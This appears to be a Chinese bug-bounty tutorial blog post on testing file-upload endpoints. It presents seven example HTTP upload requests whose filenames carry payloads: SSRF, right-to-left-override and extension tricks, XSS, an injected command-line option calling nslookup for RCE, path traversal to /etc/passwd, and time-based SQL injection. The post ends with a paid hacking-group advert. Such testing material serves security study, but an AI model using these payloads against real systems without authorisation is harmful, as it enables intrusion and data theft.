赏金猎人系列-如何测试文件上传功能
2023-1-23 22:19:53 Author: 渗透安全团队(查看原文) 阅读量:88 收藏

赏金猎人系列-如何测试文件上传功能

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

好久没写如何测试系列了,这次就继续来写写,本系列主要是讲解如何测试文件上传功能的,系列比较长,可能会分为好几次,好了,下面来开始;

正文

第一种情况

尝试将文件名改为https://IP-v4.com,看会不会导致 Blind SSRF

POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="https://IP-v4/"
Content-Type: image/png
... contents of file here ... ------WebKitFormBoundary--

第二种情况

尝试使用从右到左覆盖,重命名上传的文件,比如说:名字为name.%E2%80%AEphp.jpg,现在改为name.gpj.php

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file";
filename="name.%E2%80%AEphp.jpg" 
Content-Type: application/php

... contents of file here ... ------WebKitFormBoundary--

第三种情况

尝试对文件名编码,原来只能上传 jpg或者png,现在使用#(%23),这里举个例子:

原来是: image.jpg, 现改为 image.jpg%23.html,可能会绕过文件类型

第四种情况

将文件名改为'"><img src=x onerror=alert(document.domain)>.extension或者 {{constructor.constructor('alert(1)')()}}.extension

看看是否可能会有一个xss:

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="'"><img src=x onerror=alert(document.domain)>.png"
Content-Type: image/png

------WebKitFormBoundary--

第五种情况

将文件名字改为-‐use‐compress‐program=nslookup me.com ‐domain=a.extension,可能会有一个rce在等着你

POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="-‐use- compress‐program=nslookup me.com -domain=a.png" 
Content-Type: image/png

------WebKitFormBoundary--

第六种情况

将文件名改为LFI的Payloads,例如:将文件名改为: image.png../../../../../../../etc/passwd

看是否能够存在LFI

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; 
filename="image.png../../../../../../../etc/passwd" 
Content-Type: image/png

------WebKitFormBoundary--

第七种情况

将文件名改为Time-Based SQLi 的payloads:

poc.js'(select*from(select(sleep(20)))a)+'.extension

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; 
filename="poc.js'(select*from(select(sleep(20)))a)+'.png" 
Content-Type: image/png

------WebKitFormBoundary--

参考

https://hackerone.com/reports/298

https://blog.detectify.com/2012/12/30/how-i-hacked-facebook-and-received-a-3500-usd-facebook-bug-bounty/

https://bugreader.com/[email protected]

https://jspin.re/fileupload-blind-sqli/

翻到文章最底部点击“阅读原文”下载链接


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示


关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247496585&idx=2&sn=d8f9c36b4cc732832367d2d886dd1351&chksm=c1760e26f601873053aef9f7fd6a5365f45bab05b100e24aa7db981ff23834639de97cf454ff#rd
如有侵权请联系:admin#unsafe.sh